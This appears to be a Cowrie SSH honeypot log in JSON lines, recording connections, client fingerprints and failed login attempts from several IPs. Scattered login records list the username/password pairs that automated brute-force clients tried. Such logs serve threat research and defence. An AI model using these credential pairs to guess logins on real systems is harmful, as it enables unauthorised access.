{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:37.918583Z","src_ip":"8.219.200.1","session":"888afe1ec2de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fa","password":"fa","message":"login attempt [fa/fa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:40.380487Z","src_ip":"91.92.42.227","session":"33d4475711f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":36998,"dst_ip":"10.17.0.5","dst_port":22,"session":"06730fe47633","protocol":"ssh","message":"New connection: 45.156.87.147:36998 (10.17.0.5:22) [session: 06730fe47633]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:41.110960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:41.114675Z","src_ip":"45.156.87.147","session":"06730fe47633","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:41.197744Z","src_ip":"45.156.87.147","session":"06730fe47633","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"user","message":"login attempt [www/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:41.453810Z","src_ip":"45.156.87.147","session":"06730fe47633","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":53912,"dst_ip":"10.17.0.5","dst_port":22,"session":"676779348fd0","protocol":"ssh","message":"New connection: 91.92.42.227:53912 (10.17.0.5:22) [session: 676779348fd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:41.694952Z"}
{"eventid":"cowrie.session.closed","duration":"7.4","message":"Connection lost after 7.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:42.387583Z","src_ip":"91.92.42.227","session":"33d4475711f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:42.539750Z","src_ip":"45.156.87.147","session":"06730fe47633","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:42.621511Z","src_ip":"91.92.42.227","session":"676779348fd0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:42.629180Z","src_ip":"91.92.42.227","session":"676779348fd0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.4.69","src_port":50648,"dst_ip":"159.203.135.109","dst_port":22,"session":"584a706e410e","protocol":"ssh","message":"New connection: 45.63.4.69:50648 (159.203.135.109:22) [session: 584a706e410e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:44.638862Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:44.813271Z","src_ip":"45.63.4.69","session":"584a706e410e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:44.817746Z","src_ip":"45.63.4.69","session":"584a706e410e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:45.046533Z","src_ip":"45.63.4.69","session":"584a706e410e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc123456","message":"login attempt [root/Abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:45.864947Z","src_ip":"8.219.200.1","session":"888afe1ec2de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":37000,"dst_ip":"10.17.0.5","dst_port":22,"session":"16695eab7914","protocol":"ssh","message":"New connection: 45.156.87.147:37000 (10.17.0.5:22) [session: 16695eab7914]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:47.226571Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:47.230839Z","src_ip":"45.156.87.147","session":"16695eab7914","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:47.319228Z","src_ip":"45.156.87.147","session":"16695eab7914","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.8","message":"Connection lost after 10.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:47.414602Z","src_ip":"8.219.200.1","session":"888afe1ec2de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user123456","message":"login attempt [user/user123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:47.571147Z","src_ip":"45.156.87.147","session":"16695eab7914","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"t0talc0ntr0l4!","message":"login attempt [root/t0talc0ntr0l4!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:47.895632Z","src_ip":"91.92.42.227","session":"676779348fd0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":60096,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a5e936fb26a","protocol":"ssh","message":"New connection: 91.92.42.227:60096 (10.17.0.5:22) [session: 3a5e936fb26a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:48.568756Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:48.655277Z","src_ip":"45.156.87.147","session":"16695eab7914","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"17.6","message":"Connection lost after 17.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:49.337024Z","src_ip":"27.71.230.31","session":"58b77cf9dd9d","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:49.642834Z","src_ip":"91.92.42.227","session":"3a5e936fb26a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:49.646206Z","src_ip":"91.92.42.227","session":"3a5e936fb26a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.4","message":"Connection lost after 8.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:50.087706Z","src_ip":"91.92.42.227","session":"676779348fd0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":35704,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b6315c2b629","protocol":"ssh","message":"New connection: 45.156.87.147:35704 (10.17.0.5:22) [session: 1b6315c2b629]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:53.163209Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:53.167282Z","src_ip":"45.156.87.147","session":"1b6315c2b629","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:53.249117Z","src_ip":"45.156.87.147","session":"1b6315c2b629","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123!@#","message":"login attempt [root/qwe123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:53.496623Z","src_ip":"45.156.87.147","session":"1b6315c2b629","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:54.587256Z","src_ip":"45.156.87.147","session":"1b6315c2b629","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":60146,"dst_ip":"10.17.0.5","dst_port":22,"session":"356d7c20e7e5","protocol":"ssh","message":"New connection: 91.92.42.227:60146 (10.17.0.5:22) [session: 356d7c20e7e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:55.392677Z"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"1","message":"login attempt [openclaw/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:56.222711Z","src_ip":"91.92.42.227","session":"3a5e936fb26a","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:56.773766Z","src_ip":"91.92.42.227","session":"356d7c20e7e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:56.823059Z","src_ip":"91.92.42.227","session":"356d7c20e7e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.252.123.105","src_port":60378,"dst_ip":"159.203.135.109","dst_port":22,"session":"b75b1b4839b1","protocol":"ssh","message":"New connection: 103.252.123.105:60378 (159.203.135.109:22) [session: b75b1b4839b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:58.049948Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:58.054179Z","src_ip":"103.252.123.105","session":"b75b1b4839b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:58.280089Z","src_ip":"103.252.123.105","session":"b75b1b4839b1","protocol":"ssh"}
